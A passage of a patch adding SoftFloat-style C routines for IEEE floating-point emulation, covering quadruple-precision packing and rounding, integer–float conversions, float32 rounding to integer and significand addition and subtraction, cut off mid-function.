`zSig0' and `zSig1' concatenated form a complete, normalized +| significand. +*----------------------------------------------------------------------------*/ + +static inline float128 + packFloat128( flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1 ) +{ + float128 z; + + z.low = zSig1; + z.high = ( ( (uint64_t) zSign )<<63 ) + ( ( (uint64_t) zExp )<<48 ) + zSig0; + return z; + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and extended significand formed by the concatenation of `zSig0', `zSig1', +| and `zSig2', and returns the proper quadruple-precision floating-point value +| corresponding to the abstract input. Ordinarily, the abstract value is +| simply rounded and packed into the quadruple-precision format, with the +| inexact exception raised if the abstract input cannot be represented +| exactly. However, if the abstract value is too large, the overflow and +| inexact exceptions are raised and an infinity or maximal finite value is +| returned. If the abstract value is too small, the input value is rounded to +| a subnormal number, and the underflow and inexact exceptions are raised if +| the abstract input cannot be represented exactly as a subnormal quadruple- +| precision floating-point number. +| The input significand must be normalized or smaller. If the input +| significand is not normalized, `zExp' must be 0; in that case, the result +| returned is a subnormal number, and it must not require rounding. In the +| usual case that the input significand is normalized, `zExp' must be 1 less +| than the ``true'' floating-point exponent. The handling of underflow and +| overflow follows the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float128 + roundAndPackFloat128( + flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1, uint64_t zSig2 STATUS_PARAM) +{ + int8 roundingMode; + flag roundNearestEven, increment = 0, isTiny; + + roundingMode = STATUS(float_rounding_mode); + roundNearestEven = ( roundingMode == float_round_nearest_even ); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t)zSig2 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && zSig2; + break; + case float_round_down: + increment = zSign && zSig2; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + if ( 0x7FFD <= (uint32_t) zExp ) { + if ( ( 0x7FFD < zExp ) + || ( ( zExp == 0x7FFD ) + && eq128( + LIT64( 0x0001FFFFFFFFFFFF ), + LIT64( 0xFFFFFFFFFFFFFFFF ), + zSig0, + zSig1 + ) + && increment + ) + ) { + float_raise( float_flag_overflow | float_flag_inexact STATUS_VAR); + if ( ( roundingMode == float_round_to_zero ) + || ( zSign && ( roundingMode == float_round_up ) ) + || ( ! zSign && ( roundingMode == float_round_down ) ) + ) { + return + packFloat128( + zSign, + 0x7FFE, + LIT64( 0x0000FFFFFFFFFFFF ), + LIT64( 0xFFFFFFFFFFFFFFFF ) + ); + } + return packFloat128( zSign, 0x7FFF, 0, 0 ); + } + if ( zExp < 0 ) { + if (STATUS(flush_to_zero)) { + float_raise(float_flag_output_denormal STATUS_VAR); + return packFloat128(zSign, 0, 0, 0); + } + isTiny = + ( STATUS(float_detect_tininess) == float_tininess_before_rounding ) + || ( zExp < -1 ) + || ! increment + || lt128( + zSig0, + zSig1, + LIT64( 0x0001FFFFFFFFFFFF ), + LIT64( 0xFFFFFFFFFFFFFFFF ) + ); + shift128ExtraRightJamming( + zSig0, zSig1, zSig2, - zExp, &zSig0, &zSig1, &zSig2 ); + zExp = 0; + if ( isTiny && zSig2 ) float_raise( float_flag_underflow STATUS_VAR); + switch (roundingMode) { + case float_round_nearest_even: + case float_round_ties_away: + increment = ((int64_t)zSig2 < 0); + break; + case float_round_to_zero: + increment = 0; + break; + case float_round_up: + increment = !zSign && zSig2; + break; + case float_round_down: + increment = zSign && zSig2; + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + } + } + if ( zSig2 ) STATUS(float_exception_flags) |= float_flag_inexact; + if ( increment ) { + add128( zSig0, zSig1, 0, 1, &zSig0, &zSig1 ); + zSig1 &= ~ ( ( zSig2 + zSig2 == 0 ) & roundNearestEven ); + } + else { + if ( ( zSig0 | zSig1 ) == 0 ) zExp = 0; + } + return packFloat128( zSign, zExp, zSig0, zSig1 ); + +} + +/*---------------------------------------------------------------------------- +| Takes an abstract floating-point value having sign `zSign', exponent `zExp', +| and significand formed by the concatenation of `zSig0' and `zSig1', and +| returns the proper quadruple-precision floating-point value corresponding +| to the abstract input. This routine is just like `roundAndPackFloat128' +| except that the input significand has fewer bits and does not have to be +| normalized. In all cases, `zExp' must be 1 less than the ``true'' floating- +| point exponent. +*----------------------------------------------------------------------------*/ + +static float128 + normalizeRoundAndPackFloat128( + flag zSign, int32 zExp, uint64_t zSig0, uint64_t zSig1 STATUS_PARAM) +{ + int8 shiftCount; + uint64_t zSig2; + + if ( zSig0 == 0 ) { + zSig0 = zSig1; + zSig1 = 0; + zExp -= 64; + } + shiftCount = countLeadingZeros64( zSig0 ) - 15; + if ( 0 <= shiftCount ) { + zSig2 = 0; + shortShift128Left( zSig0, zSig1, shiftCount, &zSig0, &zSig1 ); + } + else { + shift128ExtraRightJamming( + zSig0, zSig1, 0, - shiftCount, &zSig0, &zSig1, &zSig2 ); + } + zExp -= shiftCount; + return roundAndPackFloat128( zSign, zExp, zSig0, zSig1, zSig2 STATUS_VAR); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 32-bit two's complement integer `a' +| to the single-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 int32_to_float32(int32_t a STATUS_PARAM) +{ + flag zSign; + + if ( a == 0 ) return float32_zero; + if ( a == (int32_t) 0x80000000 ) return packFloat32( 1, 0x9E, 0 ); + zSign = ( a < 0 ); + return normalizeRoundAndPackFloat32( zSign, 0x9C, zSign ? - a : a STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 32-bit two's complement integer `a' +| to the double-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 int32_to_float64(int32_t a STATUS_PARAM) +{ + flag zSign; + uint32 absA; + int8 shiftCount; + uint64_t zSig; + + if ( a == 0 ) return float64_zero; + zSign = ( a < 0 ); + absA = (zSign && (a != 0x80000000)) ? - a : a; + shiftCount = countLeadingZeros32( absA ) + 21; + zSig = absA; + return packFloat64( zSign, 0x432 - shiftCount, zSig<<shiftCount ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 32-bit two's complement integer `a' +| to the extended double-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 int32_to_floatx80(int32_t a STATUS_PARAM) +{ + flag zSign; + uint32 absA; + int8 shiftCount; + uint64_t zSig; + + if ( a == 0 ) return packFloatx80( 0, 0, 0 ); + zSign = ( a < 0 ); + absA = (zSign && a != 0x80000000) ? - a : a; + shiftCount = countLeadingZeros32( absA ) + 32; + zSig = absA; + return packFloatx80( zSign, 0x403E - shiftCount, zSig<<shiftCount ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 32-bit two's complement integer `a' to +| the quadruple-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 int32_to_float128(int32_t a STATUS_PARAM) +{ + flag zSign; + uint32 absA; + int8 shiftCount; + uint64_t zSig0; + + if ( a == 0 ) return packFloat128( 0, 0, 0, 0 ); + zSign = ( a < 0 ); + absA = (zSign && a!= 0x80000000) ? - a : a; + shiftCount = countLeadingZeros32( absA ) + 17; + zSig0 = absA; + return packFloat128( zSign, 0x402E - shiftCount, zSig0<<shiftCount, 0 ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 64-bit two's complement integer `a' +| to the single-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 int64_to_float32(int64_t a STATUS_PARAM) +{ + flag zSign; + uint64 absA; + int8 shiftCount; + + if ( a == 0 ) return float32_zero; + zSign = ( a < 0 ); + absA = (zSign && a != 0x8000000000000000ULL) ? - a : a; + shiftCount = countLeadingZeros64( absA ) - 40; + if ( 0 <= shiftCount ) { + return packFloat32( zSign, 0x95 - shiftCount, (uint32_t)(absA<<shiftCount) ); + } + else { + shiftCount += 7; + if ( shiftCount < 0 ) { + shift64RightJamming( absA, - shiftCount, &absA ); + } + else { + absA <<= shiftCount; + } + return roundAndPackFloat32( zSign, 0x9C - shiftCount, (uint32_t)absA STATUS_VAR ); + } + +} + +float32 uint64_to_float32(uint64_t a STATUS_PARAM) +{ + int8 shiftCount; + + if ( a == 0 ) return float32_zero; + shiftCount = countLeadingZeros64( a ) - 40; + if ( 0 <= shiftCount ) { + return packFloat32(0, 0x95 - shiftCount, (uint32_t)(a<<shiftCount)); + } + else { + shiftCount += 7; + if ( shiftCount < 0 ) { + shift64RightJamming( a, - shiftCount, &a ); + } + else { + a <<= shiftCount; + } + return roundAndPackFloat32(0, 0x9C - shiftCount, (uint32_t)a STATUS_VAR); + } +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 64-bit two's complement integer `a' +| to the double-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 int64_to_float64(int64_t a STATUS_PARAM) +{ + flag zSign; + + if ( a == 0 ) return float64_zero; + if ( a == (int64_t) LIT64( 0x8000000000000000 ) ) { + return packFloat64( 1, 0x43E, 0 ); + } + zSign = ( a < 0 ); + return normalizeRoundAndPackFloat64( zSign, 0x43C, zSign ? - a : a STATUS_VAR ); + +} + +float64 uint64_to_float64(uint64_t a STATUS_PARAM) +{ + int exp = 0x43C; + + if (a == 0) { + return float64_zero; + } + if ((int64_t)a < 0) { + shift64RightJamming(a, 1, &a); + exp += 1; + } + return normalizeRoundAndPackFloat64(0, exp, a STATUS_VAR); +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 64-bit two's complement integer `a' +| to the extended double-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 int64_to_floatx80(int64_t a STATUS_PARAM) +{ + flag zSign; + uint64 absA; + int8 shiftCount; + + if ( a == 0 ) return packFloatx80( 0, 0, 0 ); + zSign = ( a < 0 ); + absA = (zSign && a != 0x8000000000000000ULL) ? - a : a; + shiftCount = countLeadingZeros64( absA ); + return packFloatx80( zSign, 0x403E - shiftCount, absA<<shiftCount ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the 64-bit two's complement integer `a' to +| the quadruple-precision floating-point format. The conversion is performed +| according to the IEC/IEEE Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 int64_to_float128(int64_t a STATUS_PARAM) +{ + flag zSign; + uint64 absA; + int8 shiftCount; + int32 zExp; + uint64_t zSig0, zSig1; + + if ( a == 0 ) return packFloat128( 0, 0, 0, 0 ); + zSign = ( a < 0 ); + absA = (zSign && a!= 0x8000000000000000ULL) ? - a : a; + shiftCount = countLeadingZeros64( absA ) + 49; + zExp = 0x406E - shiftCount; + if ( 64 <= shiftCount ) { + zSig1 = 0; + zSig0 = absA; + shiftCount -= 64; + } + else { + zSig1 = absA; + zSig0 = 0; + } + shortShift128Left( zSig0, zSig1, shiftCount, &zSig0, &zSig1 ); + return packFloat128( zSign, zExp, zSig0, zSig1 ); + +} + +float128 uint64_to_float128(uint64_t a STATUS_PARAM) +{ + if (a == 0) { + float128 zero = {0}; + return zero; + } + return normalizeRoundAndPackFloat128(0, 0x406E, a, 0 STATUS_VAR); +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 32-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int32 float32_to_int32( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + uint64_t aSig64; + + a = float32_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( ( aExp == 0xFF ) && aSig ) aSign = 0; + if ( aExp ) aSig |= 0x00800000; + shiftCount = 0xAF - aExp; + aSig64 = aSig; + aSig64 <<= 32; + if ( 0 < shiftCount ) shift64RightJamming( aSig64, shiftCount, &aSig64 ); + return roundAndPackInt32( aSign, aSig64 STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 32-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If `a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int32 float32_to_int32_round_to_zero( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + int32_t z; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + shiftCount = aExp - 0x9E; + if ( 0 <= shiftCount ) { + if ( float32_val(a) != 0xCF000000 ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0xFF ) && aSig ) ) return 0x7FFFFFFF; + } + return (int32_t) 0x80000000; + } + else if ( aExp <= 0x7E ) { + if ( aExp | aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + aSig = ( aSig | 0x00800000 )<<8; + z = aSig>>( - shiftCount ); + if ( (uint32_t) ( aSig<<( shiftCount & 31 ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + if ( aSign ) z = - z; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 16-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. +| If `a' is a NaN, the largest positive integer is returned. Otherwise, if +| the conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int_fast16_t float32_to_int16_round_to_zero(float32 a STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + int32 z; + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + shiftCount = aExp - 0x8E; + if ( 0 <= shiftCount ) { + if ( float32_val(a) != 0xC7000000 ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0xFF ) && aSig ) ) { + return 0x7FFF; + } + } + return (int32_t) 0xffff8000; + } + else if ( aExp <= 0x7E ) { + if ( aExp | aSig ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + return 0; + } + shiftCount -= 0x10; + aSig = ( aSig | 0x00800000 )<<8; + z = aSig>>( - shiftCount ); + if ( (uint32_t) ( aSig<<( shiftCount & 31 ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + if ( aSign ) { + z = - z; + } + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 64-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| positive integer is returned. Otherwise, if the conversion overflows, the +| largest integer with the same sign as `a' is returned. +*----------------------------------------------------------------------------*/ + +int64 float32_to_int64( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + uint64_t aSig64, aSigExtra; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + shiftCount = 0xBE - aExp; + if ( shiftCount < 0 ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0xFF ) && aSig ) ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + if ( aExp ) aSig |= 0x00800000; + aSig64 = aSig; + aSig64 <<= 40; + shift64ExtraRightJamming( aSig64, 0, shiftCount, &aSig64, &aSigExtra ); + return roundAndPackInt64( aSign, aSig64, aSigExtra STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 64-bit unsigned integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic---which means in particular that the conversion is rounded +| according to the current rounding mode. If `a' is a NaN, the largest +| unsigned integer is returned. Otherwise, if the conversion overflows, the +| largest unsigned integer is returned. If the 'a' is negative, the result +| is rounded and zero is returned; values that do not round to zero will +| raise the inexact exception flag. +*----------------------------------------------------------------------------*/ + +uint64 float32_to_uint64(float32 a STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + uint64_t aSig64, aSigExtra; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac(a); + aExp = extractFloat32Exp(a); + aSign = extractFloat32Sign(a); + if ((aSign) && (aExp > 126)) { + float_raise(float_flag_invalid STATUS_VAR); + if (float32_is_any_nan(a)) { + return LIT64(0xFFFFFFFFFFFFFFFF); + } else { + return 0; + } + } + shiftCount = 0xBE - aExp; + if (aExp) { + aSig |= 0x00800000; + } + if (shiftCount < 0) { + float_raise(float_flag_invalid STATUS_VAR); + return LIT64(0xFFFFFFFFFFFFFFFF); + } + + aSig64 = aSig; + aSig64 <<= 40; + shift64ExtraRightJamming(aSig64, 0, shiftCount, &aSig64, &aSigExtra); + return roundAndPackUint64(aSign, aSig64, aSigExtra STATUS_VAR); +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 64-bit unsigned integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. If +| `a' is a NaN, the largest unsigned integer is returned. Otherwise, if the +| conversion overflows, the largest unsigned integer is returned. If the +| 'a' is negative, the result is rounded and zero is returned; values that do +| not round to zero will raise the inexact flag. +*----------------------------------------------------------------------------*/ + +uint64 float32_to_uint64_round_to_zero(float32 a STATUS_PARAM) +{ + int64_t v; + signed char current_rounding_mode = STATUS(float_rounding_mode); + set_float_rounding_mode(float_round_to_zero STATUS_VAR); + v = float32_to_uint64(a STATUS_VAR); + set_float_rounding_mode(current_rounding_mode STATUS_VAR); + return v; +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the 64-bit two's complement integer format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic, except that the conversion is always rounded toward zero. If +| `a' is a NaN, the largest positive integer is returned. Otherwise, if the +| conversion overflows, the largest integer with the same sign as `a' is +| returned. +*----------------------------------------------------------------------------*/ + +int64 float32_to_int64_round_to_zero( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp, shiftCount; + uint32_t aSig; + uint64_t aSig64; + int64 z; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + shiftCount = aExp - 0xBE; + if ( 0 <= shiftCount ) { + if ( float32_val(a) != 0xDF000000 ) { + float_raise( float_flag_invalid STATUS_VAR); + if ( ! aSign || ( ( aExp == 0xFF ) && aSig ) ) { + return LIT64( 0x7FFFFFFFFFFFFFFF ); + } + } + return (int64_t) LIT64( 0x8000000000000000 ); + } + else if ( aExp <= 0x7E ) { + if ( aExp | aSig ) STATUS(float_exception_flags) |= float_flag_inexact; + return 0; + } + aSig64 = aSig | 0x00800000; + aSig64 <<= 40; + z = aSig64>>( - shiftCount ); + if ( (uint64_t) ( aSig64<<( shiftCount & 63 ) ) ) { + STATUS(float_exception_flags) |= float_flag_inexact; + } + if ( aSign ) z = - z; + return z; + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the double-precision floating-point format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float64 float32_to_float64( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + a = float32_squash_input_denormal(a STATUS_VAR); + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( aExp == 0xFF ) { + if ( aSig ) return commonNaNToFloat64( float32ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloat64( aSign, 0x7FF, 0 ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat64( aSign, 0, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + --aExp; + } + return packFloat64( aSign, aExp + 0x380, ( (uint64_t) aSig )<<29 ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the extended double-precision floating-point format. The conversion +| is performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +floatx80 float32_to_floatx80( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + + a = float32_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( aExp == 0xFF ) { + if ( aSig ) return commonNaNToFloatx80( float32ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloatx80( aSign, 0x7FFF, LIT64( 0x8000000000000000 ) ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloatx80( aSign, 0, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + } + aSig |= 0x00800000; + return packFloatx80( aSign, aExp + 0x3F80, ( (uint64_t) aSig )<<40 ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of converting the single-precision floating-point value +| `a' to the double-precision floating-point format. The conversion is +| performed according to the IEC/IEEE Standard for Binary Floating-Point +| Arithmetic. +*----------------------------------------------------------------------------*/ + +float128 float32_to_float128( float32 a STATUS_PARAM ) +{ + flag aSign; + int_fast16_t aExp; + uint32_t aSig; + + a = float32_squash_input_denormal(a STATUS_VAR); + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + aSign = extractFloat32Sign( a ); + if ( aExp == 0xFF ) { + if ( aSig ) return commonNaNToFloat128( float32ToCommonNaN( a STATUS_VAR ) STATUS_VAR ); + return packFloat128( aSign, 0x7FFF, 0, 0 ); + } + if ( aExp == 0 ) { + if ( aSig == 0 ) return packFloat128( aSign, 0, 0, 0 ); + normalizeFloat32Subnormal( aSig, &aExp, &aSig ); + --aExp; + } + return packFloat128( aSign, aExp + 0x3F80, ( (uint64_t) aSig )<<25, 0 ); + +} + +/*---------------------------------------------------------------------------- +| Rounds the single-precision floating-point value `a' to an integer, and +| returns the result as a single-precision floating-point value. The +| operation is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_round_to_int( float32 a STATUS_PARAM) +{ + flag aSign; + int_fast16_t aExp; + uint32_t lastBitMask, roundBitsMask; + uint32_t z; + a = float32_squash_input_denormal(a STATUS_VAR); + + aExp = extractFloat32Exp( a ); + if ( 0x96 <= aExp ) { + if ( ( aExp == 0xFF ) && extractFloat32Frac( a ) ) { + return propagateFloat32NaN( a, a STATUS_VAR ); + } + return a; + } + if ( aExp <= 0x7E ) { + if ( (uint32_t) ( float32_val(a)<<1 ) == 0 ) return a; + STATUS(float_exception_flags) |= float_flag_inexact; + aSign = extractFloat32Sign( a ); + switch ( STATUS(float_rounding_mode) ) { + case float_round_nearest_even: + if ( ( aExp == 0x7E ) && extractFloat32Frac( a ) ) { + return packFloat32( aSign, 0x7F, 0 ); + } + break; + case float_round_ties_away: + if (aExp == 0x7E) { + return packFloat32(aSign, 0x7F, 0); + } + break; + case float_round_down: + return make_float32(aSign ? 0xBF800000 : 0); + case float_round_up: + return make_float32(aSign ? 0x80000000 : 0x3F800000); + } + return packFloat32( aSign, 0, 0 ); + } + lastBitMask = 1; + lastBitMask <<= 0x96 - aExp; + roundBitsMask = lastBitMask - 1; + z = float32_val(a); + switch (STATUS(float_rounding_mode)) { + case float_round_nearest_even: + z += lastBitMask>>1; + if ((z & roundBitsMask) == 0) { + z &= ~lastBitMask; + } + break; + case float_round_ties_away: + z += lastBitMask >> 1; + break; + case float_round_to_zero: + break; + case float_round_up: + if (!extractFloat32Sign(make_float32(z))) { + z += roundBitsMask; + } + break; + case float_round_down: + if (extractFloat32Sign(make_float32(z))) { + z += roundBitsMask; + } + break; + default: + float_raise(float_flag_invalid STATUS_VAR); + break; + } + z &= ~ roundBitsMask; + if ( z != float32_val(a) ) STATUS(float_exception_flags) |= float_flag_inexact; + return make_float32(z); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the absolute values of the single-precision +| floating-point values `a' and `b'. If `zSign' is 1, the sum is negated +| before being returned. `zSign' is ignored if the result is a NaN. +| The addition is performed according to the IEC/IEEE Standard for Binary +| Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float32 addFloat32Sigs( float32 a, float32 b, flag zSign STATUS_PARAM) +{ + int_fast16_t aExp, bExp, zExp; + uint32_t aSig, bSig, zSig; + int_fast16_t expDiff; + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + bSig = extractFloat32Frac( b ); + bExp = extractFloat32Exp( b ); + expDiff = aExp - bExp; + aSig <<= 6; + bSig <<= 6; + if ( 0 < expDiff ) { + if ( aExp == 0xFF ) { + if ( aSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig |= 0x20000000; + } + shift32RightJamming( bSig, expDiff, &bSig ); + zExp = aExp; + } + else if ( expDiff < 0 ) { + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return packFloat32( zSign, 0xFF, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig |= 0x20000000; + } + shift32RightJamming( aSig, - expDiff, &aSig ); + zExp = bExp; + } + else { + if ( aExp == 0xFF ) { + if ( aSig | bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return a; + } + if ( aExp == 0 ) { + if (STATUS(flush_to_zero)) { + if (aSig | bSig) { + float_raise(float_flag_output_denormal STATUS_VAR); + } + return packFloat32(zSign, 0, 0); + } + return packFloat32( zSign, 0, ( aSig + bSig )>>6 ); + } + zSig = 0x40000000 + aSig + bSig; + zExp = aExp; + goto roundAndPack; + } + aSig |= 0x20000000; + zSig = ( aSig + bSig )<<1; + --zExp; + if ( (int32_t) zSig < 0 ) { + zSig = aSig + bSig; + ++zExp; + } + roundAndPack: + return roundAndPackFloat32( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of subtracting the absolute values of the single- +| precision floating-point values `a' and `b'. If `zSign' is 1, the +| difference is negated before being returned. `zSign' is ignored if the +| result is a NaN. The subtraction is performed according to the IEC/IEEE +| Standard for Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +static float32 subFloat32Sigs( float32 a, float32 b, flag zSign STATUS_PARAM) +{ + int_fast16_t aExp, bExp, zExp; + uint32_t aSig, bSig, zSig; + int_fast16_t expDiff; + + aSig = extractFloat32Frac( a ); + aExp = extractFloat32Exp( a ); + bSig = extractFloat32Frac( b ); + bExp = extractFloat32Exp( b ); + expDiff = aExp - bExp; + aSig <<= 7; + bSig <<= 7; + if ( 0 < expDiff ) goto aExpBigger; + if ( expDiff < 0 ) goto bExpBigger; + if ( aExp == 0xFF ) { + if ( aSig | bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + float_raise( float_flag_invalid STATUS_VAR); + return float32_default_nan; + } + if ( aExp == 0 ) { + aExp = 1; + bExp = 1; + } + if ( bSig < aSig ) goto aBigger; + if ( aSig < bSig ) goto bBigger; + return packFloat32( STATUS(float_rounding_mode) == float_round_down, 0, 0 ); + bExpBigger: + if ( bExp == 0xFF ) { + if ( bSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return packFloat32( zSign ^ 1, 0xFF, 0 ); + } + if ( aExp == 0 ) { + ++expDiff; + } + else { + aSig |= 0x40000000; + } + shift32RightJamming( aSig, - expDiff, &aSig ); + bSig |= 0x40000000; + bBigger: + zSig = bSig - aSig; + zExp = bExp; + zSign ^= 1; + goto normalizeRoundAndPack; + aExpBigger: + if ( aExp == 0xFF ) { + if ( aSig ) return propagateFloat32NaN( a, b STATUS_VAR ); + return a; + } + if ( bExp == 0 ) { + --expDiff; + } + else { + bSig |= 0x40000000; + } + shift32RightJamming( bSig, expDiff, &bSig ); + aSig |= 0x40000000; + aBigger: + zSig = aSig - bSig; + zExp = aExp; + normalizeRoundAndPack: + --zExp; + return normalizeRoundAndPackFloat32( zSign, zExp, zSig STATUS_VAR ); + +} + +/*---------------------------------------------------------------------------- +| Returns the result of adding the single-precision floating-point values `a' +| and `b'. The operation is performed according to the IEC/IEEE Standard for +| Binary Floating-Point Arithmetic. +*----------------------------------------------------------------------------*/ + +float32 float32_add( float32 a, float32 b STATUS_PARAM ) +{ + flag aSign, bSign; + a = float32_squash_input_denormal(a STATUS_VAR); + b = 